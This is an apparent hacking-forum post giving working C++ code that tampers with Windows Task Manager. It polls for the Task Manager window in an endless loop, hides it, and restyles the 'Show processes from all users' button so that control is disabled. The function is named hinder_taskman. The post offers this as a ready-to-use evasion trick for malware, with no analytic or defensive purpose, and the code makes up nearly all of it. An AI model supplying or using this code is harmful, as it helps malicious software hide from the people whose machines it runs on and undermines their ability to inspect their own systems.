[C++] Remove Show Process from all users in Taskmgr.exe

[Jako]

This works on windows 7 / windows server 2012


BOOL CALLBACK EnumChildProc(
    _In_ HWND   hwnd,
    _In_ LPARAM lParam
) {

    WCHAR win_name[MAX_PATH];
    RtlSecureZeroMemory(win_name, MAX_PATH);

    GetWindowTextW(hwnd, win_name, MAX_PATH);

    if (!lstrcmpW(L"&Show processes from all users", win_name))
    {
        SetWindowLongPtrW(hwnd, GWL_STYLE,
            WS_OVERLAPPED |
            WS_TABSTOP |
            WS_MAXIMIZEBOX |
            WS_CHILD |
            BS_PUSHBUTTON |
            BS_TEXT);
        return FALSE;
    }
    return TRUE;
}

DWORD hinder_taskman()
{

    HWND window = NULL;
    DWORD last_pid = NULL;
    DWORD pid = NULL;

    do {
        window = FindWindowW(0, L"Windows Task Manager");
        if (window)
        {
            GetWindowThreadProcessId(window, &pid);
            if (pid != last_pid)
            {

                last_pid = pid;
                ShowWindow(window, SW_HIDE);
                EnumChildWindows(window, EnumChildProc, 0);
                UpdateWindow(window);
                ShowWindow(window, SW_SHOW);
            }
        }
        Sleep(50);
    } while (1);
    ExitThread(0);
    return TRUE;
}